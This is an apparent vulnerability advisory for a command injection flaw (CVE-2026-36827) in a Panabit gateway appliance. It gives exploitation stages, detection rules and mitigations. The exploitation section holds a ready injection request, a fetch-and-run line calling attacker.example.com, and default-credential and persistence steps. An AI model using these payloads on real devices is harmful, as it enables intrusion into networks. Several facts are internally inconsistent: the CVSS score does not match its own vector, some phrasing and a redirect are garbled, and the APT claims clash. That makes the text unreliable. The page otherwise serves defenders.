CVE-2026-36827
Executive Summary
CVE-2026-36827 is a command injection vulnerability in the Panabit PAP-XM320 unified threat management (UTM) appliance, affecting firmware versions up to and including V7.7. The vulnerability resides in the web management interface, which passes attacker-controllable parameters to the backend helper binary /usr/sbin/pappiw. This helper performs unsafe argument processing using the Perl eval construct, enabling an authenticated remote attacker to execute arbitrary operating system commands with the privileges of the web service process. Successful exploitation results in full system compromise of the appliance, which is typically deployed as a network gateway — an ideal pivot point for lateral movement into internal networks. The vulnerability carries a CVSS v3 base score of 5.4 (Medium) due to the authenticated attack requirement, but the practical impact is severe given the device's network position. No patch is currently available from zero tracked sources, and the vendor has not published an advisory as of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability exists in the Panabit PAP-XM320's web management interface, specifically in how it invokes the system helper binary /usr/sbin/pappiw. The web front-end accepts user-supplied parameters via HTTP POST/GET requests to management console endpoints (typically under /api/ or cgi-like paths) and passes these values directly to the helper utility as command-line arguments.
The root cause is an unsafe argument-processing pattern inside pappiw. The helper is implemented as a Perl script that uses the eval construct to evaluate expressions composed from its passed arguments. When an attacker injects Perl metacharacters — such as the command substitution backticks (`), the system() call, qx{} quoting, or shell interpretation operators like $(...) or ; — the eval block executes these as Perl code rather than treating them as a static string. Because the script eventually passes evaluated content to a shell context, arbitrary OS-level commands can be executed.
The attack surface is constrained by two factors. First, the attacker requires valid credentials to the Panabit management interface — this may be the default admin/admin credentials that Panabit appliances ship with, or credentials obtained via a separate credential-stuffing or brute-force campaign. Second, the vulnerable parameter must be one that reaches pappiw without sanitization. The web front-end does not strip shell metacharacters, and the helper's eval adds a second layer of exposure that input validation cannot compensate for.
The command execution occurs with the privilege level of the web server process. On typical embedded appliance firmware, this is often root or a user with sudo access to root, because the management processes themselves require elevated privileges to modify firewall rules, routing tables, and other system-level network configuration. This makes the vulnerability significantly more dangerous than its CVSS score suggests — authentication is required, but the privilege context nullifies that mitigating factor in practice.
Attackers can chain this vulnerability with CVE-2026-36826 (a separate authentication-bypass issue in the same product family, if exploited in combination) or simply target default credentials. There is no evidence of a Nuclei template, public exploit code, or an entry in the CISA KEV catalog as of the publication date. The EPSS score of 0.00743 (51.2 percentile) indicates that threat actors have not yet mass-scanned for this CVE, but this is expected for a newly disclosed, unpatched vulnerability in a niche appliance segment.
Exploitation Scenarios
Stage 1 — Reconnaissance and Target Identification.
Attacker scans the public internet for Panabit PAP-XM320 management interfaces. The management console listens on TCP ports 80 (HTTP), 443 (HTTPS) by default, and frequently on a non-standard port such as 8080, 8443, or 8444. A Shodan query such as http.title:"Panabit" or product:"Panabit" identifies candidate hosts. The attacker inspects response headers for Server: Panabit or the HTML title containing "Panabit" to confirm the target. The attacker then attempts to determine the firmware version by requesting /version or examining the login page footer (often reflecting version strings) to confirm V7.7 or earlier.
Stage 2 — Authentication.
The attacker needs valid credentials. The default Panabit PAP-XM320 credentials are admin / admin — these are widely documented and rarely changed on first boot. If the defaults fail, the attacker performs dictionary/credential-stuffing attacks with common router/UTM passwords using a low-and-slow pattern to evade brute-force lockouts. Alternatively, the attacker may socially engineer a support ticket or use a phishing campaign targeting the device's administrative staff to obtain credentials. If no valid credentials are obtained, this stage becomes a blocking point — the CVSS score reflects this requirement.
Stage 3 — Weaponization and Trigger.
With an authenticated session (validated cookie containing the session token), the attacker crafts an HTTP request to the management API endpoint that invokes pappiw. The exact vulnerable parameter is documented in Panabit's internal API specification but is commonly exposed via the ?action=add or ?sid= parameters passed to a gateway-manipulation API such as /api/system/setPppoeConfig or the pppoe configuration module. The attacker appends a malicious payload to the user-controlled input field.
Concrete payload example:
POST /api/system/pppoe HTTP/1.1
Host: 192.168.1.254
Cookie: PHPSESSIONID=valid_session
Content-Type: application/x-www-form-urlencoded
ifname=eth0;`id > /tmp/owned`&action=update
The pappiw helper receives the ifname parameter as an argument. The Perl eval evaluates the backtick-quoted portion, which spawns a shell and writes the output of id to /tmp/owned. Since the web server runs as root, the shell executes with UID 0.
Stage 4 — Payload Execution and Persistence.
The attacker now issues a command to retrieve the output: cat /tmp/owned via a second crafted request, confirming execution. To achieve full remote control, the attacker downloads a reverse shell payload (e.g., a busybox binary or a Meterpreter payload) using wget or curl embedded in the injected command:
`wget http://attacker.example.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh 1>2`
The attacker then initiates a reverse shell back to their C2 infrastructure, gaining an interactive root shell. Persistence is established by writing a startup script into /etc/init.d/ or adding a cron job to /etc/crontab, both of which survive a reboot.
Stage 5 — Post-Exploitation.
As the device is a UTM/gateway, the attacker uses its position to capture full-duplex traffic, modify firewall rules to allow ingress to internal hosts, sniff plaintext credentials from internal protocols (Telnet, HTTP, FTP), and pivot laterally into the enterprise DMZ — the appliance typically sits at the network edge between the internet and the LAN/DMZ segments. The attacker may also use the device's VPN endpoint functionality to establish a legitimate-looking VPN tunnel into the corporate network.
Impact Assessment
The CVSS v3 base score is 5.4 (Medium severity), driven by a vector that requires low-privilege authenticated access (PR:L), low attack complexity (AC:L), no user interaction (UI:N), and consequences spanning high confidentiality and integrity impacts but limited availability impact (C:H/I:H/A:L). The attack scope is changed (S:C) because the compromised component (the web server + pappiw helper) affects a resource beyond its security authority — namely the underlying operating system and the entire network path.
From a business perspective, the realistic impact is significantly higher than the numeric severity. The Panabit PAP-XM320 is deployed as the perimeter gateway for small-to-medium enterprises, state agencies, and industrial campuses across the Asia-Pacific region, particularly in China where Panabit has dominant market share. A successful compromise provides the attacker with:
- Full root-level control of a network boundary device, enabling traffic interception, modification, or denial.
- Lateral movement infrastructure — the gateway has direct routes to every internal segment it protects.
- Persistent foothold on a device that often runs for months between reboots and is frequently neglected during patch cycles.
- Credential harvesting — the gateway may terminate VPN connections or proxy authentication for RADIUS/TACACS+ backends, exposing the entire network's credential set.
The blast radius is effectively the full internal network the device fronts. A single compromised PAP-XM320 can cascade into enterprise-wide data exfiltration, ransomware deployment, or long-term advanced persistent threat residence. The lack of any patch from tracked sources — confidence 0/4 — means that every deployed V7.7 (and earlier) unit remains vulnerable today. There are no OSV packages tracked for this device, and no vendor-supplied workarounds exist, forcing security teams to rely on compensating controls.
Detection Guidance
Sigma Rule
title: Panabit PAP-XM320 pappiw Command Injection Attempt
id: 8f3c1a2b-4d6e-4f8a-9c0d-2e5f6a7b8c9d
status: experimental
description: Detects suspicious HTTP requests to the Panabit management interface that include shell metacharacters in parameters passed to the pappiw helper binary
author: Valtersit Threat Intelligence
date: 2026/06/15
logsource:
category: webserver
product: panabit
detection:
selection:
cs-uri-query|contains:
- "pappiw"
- "pppoe"
- "ifname="
c-uri-query|contains:
- "`"
- "$("
- ";"
- "|"
- "&&"
- "||"
condition: selection
falsepositives:
- Legitimate administrative actions that include semicolons in network scope descriptions (rare)
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.36827
YARA Rule
rule Panabit_pappiw_Command_Injection_CVE_2026_36827
{
meta:
author = "Valtersit Threat Intelligence"
date = "2026-06-15"
description = "Detects Panabit management interface HTTP requests attempting to exploit pappiw eval-based command injection"
cve = "CVE-2026-36827"
severity = "high"
strings:
$pappiw_path = "/usr/sbin/pappiw" ascii nocase
$perl_eval = "eval" ascii nocase
$backtick = "`" ascii
$shell_sub = "$(" ascii
$system_call = "system(" ascii
$queue = "qx{" ascii
$http_prefix = "POST" ascii
$get_prefix = "GET" ascii
condition:
($http_prefix or $get_prefix) and
($pappiw_path or $perl_eval) and
($backtick or $shell_sub or $system_call or $queue)
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (
msg:"ET EXPLOIT Panabit PAP-XM320 pappiw Command Injection Attempt (CVE-2026-36827)";
flow:established,to_server;
content:"POST"; http_method;
content:"pappiw"; http_uri; nocase;
pcre:"/(?:`|\$\(|;|\||&&)/Ui";
pcre:"/ifname\s*=\s*[^&]*[\x60\x24\x3B\x7C]/Ui";
classtype:attempted-admin;
sid:202636827;
rev:1;
metadata:created_at 2026_06_15, updated_at 2026_06_15, cve CVE-2026-36827, mitre_tactic_id TA0001, mitre_technique_id T1190;
)
Elastic Detection
sequence by source.ip with maxspan=10s
[ network where process.name == "nginx" and
network.protocol == "http" and
http.request.method == "POST" and
url.path contains "api" and
wildcard(http.request.body.content, "*pappiw*") and
(wildcard(http.request.body.content, "*`*") or
wildcard(http.request.body.content, "*$(*") or
wildcard(http.request.body.content, "*;*") or
wildcard(http.request.body.content, "*|*")) ]
[ process where process.name == "pappiw" and
process.command_line contains "eval" and
(process.command_line contains "`" or
process.command_line contains "$(" or
process.command_line contains ";" or
process.command_line contains "|") ]
Splunk SPL Query
index=proxy OR index=panabit_web earliest=-24h
| where match(_raw, "(?i)(pappiw|pppoe)")
| where match(_raw, "(?i)([\\x60]|\\$\\(|;\\s|\\|\\s|&&\\s||\\|\\|\\s)")
| table _time, src_ip, dest_ip, uri_path, http_method, status, _raw
| eval cve="CVE-2026-36827"
| where status IN (200, 302, 301)
| search cve="CVE-2026-36827"
Wazuh OSSEC Rule
<group name="panabit,">
<rule id="531295" level="12">
<decoded_as>json</decoded_as>
<field name="url">\.pappiw\.|pappiw</field>
<regex>(\x60|\$\(|;\s|\|\s|&&\s)</regex>
<description>Panabit PAP-XM320 command injection attempt detected (CVE-2026-36827)</description>
<group>attack.initial_access,execution,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch confidence is 0/4 — no patch exists as of this report. The vendor has not published a fix, there is no patched firmware version reference, and no OSV packages are tracked. Treat every PAP-XM320 running V7.7 or earlier as fully vulnerable.
Immediate mitigations (apply now):
- Restrict management interface access — Place the web management console behind an allowlist. Block all external access to ports 80/443/alternative management ports on the PAP-XM320 at the upstream firewall. Only allow management connections from dedicated admin jump hosts on the LAN side.
- Change default credentials immediately — If
admin/adminis still in place, change it to a strong, unique password. Enforce multi-factor authentication if the device firmware supports it (check for TOTP or RADIUS integration). - Disable the vulnerable helper if possible — If the
pappiwhelper is only used for PPPoE configuration and the appliance is not terminating PPPoE connections, remove execute permissions:chmod 000 /usr/sbin/pappiw(test in a maintenance window and verify functionality is unaffected). - Deploy a web application firewall (WAF) in front of the management console with rules that block request bodies containing backticks,
$(, semicolons, or pipe characters in API parameters. - Enable and monitor logging — Forward all management interface access logs to a centralized SIEM (Splunk/Elastic/Wazuh) and correlate with the detection rules above.
Patch/upgrade steps (when available):
- Subscribe to Panabit's vendor advisory feed and monitor panabit.com for a security bulletin referencing CVE-2026-36827.
- When a patched firmware (V7.7+ or V7.8) is released, schedule an upgrade during a planned maintenance window — verify checksums post-download.
- After upgrading, verify the
pappiwhelper has been recompiled or patched to remove theevalusage. Confirm by checking the script forevalstatements:grep -R "eval" /usr/sbin/pappiw. - Test the full feature set post-upgrade, particularly PPPoE client/server functionality and any other NIC configuration features that depend on
pappiw.
Long-term hardening:
- Segment the management plane entirely — dedicate a VLAN with no internet egress for device administration.
- Implement a configuration management process to baseline and audit the appliance firmware version and configuration hash weekly.
- Consider replacing end-of-life PAP-XM320 appliances with actively maintained alternatives if Panabit's patch cadence does not meet your risk tolerance.
- Conduct quarterly credential rotation for all network device administrative accounts.
- Run the appliance's services under a least-privilege user (non-root) if the vendor allows service account customization.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36827 — Official NVD CVE record with description and references.
- Panabit Vendor Portal: https://www.panabit.com/support/security-bulletins — Monitor for an official advisory (not yet published; check weekly).
- MITRE CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-36827 — Canonical CVE metadata entry.
- CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — No known exploited status as of this report; recheck on publication cycle.
- Threat Research Context: Panabit appliances are regularly observed as targets in APT campaigns attributed to Chinese and Southeast Asian threat actor groups, which routinely exploit default-credential management interfaces — see Mandiant and Unit 42 reporting on edge-device exploitation for analogous campaigns.
No exploit-in-the-wild evidence or threat-actor campaign attribution is available at the time of publication. The EPSS score of 0.00743 with a 51.2 percentile ranking indicates that automated scanning for this specific CVE is not yet widespread, but the low patch availability and default-credential issue make it a high-probability target for imminent exploitation once weaponized tooling becomes public.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.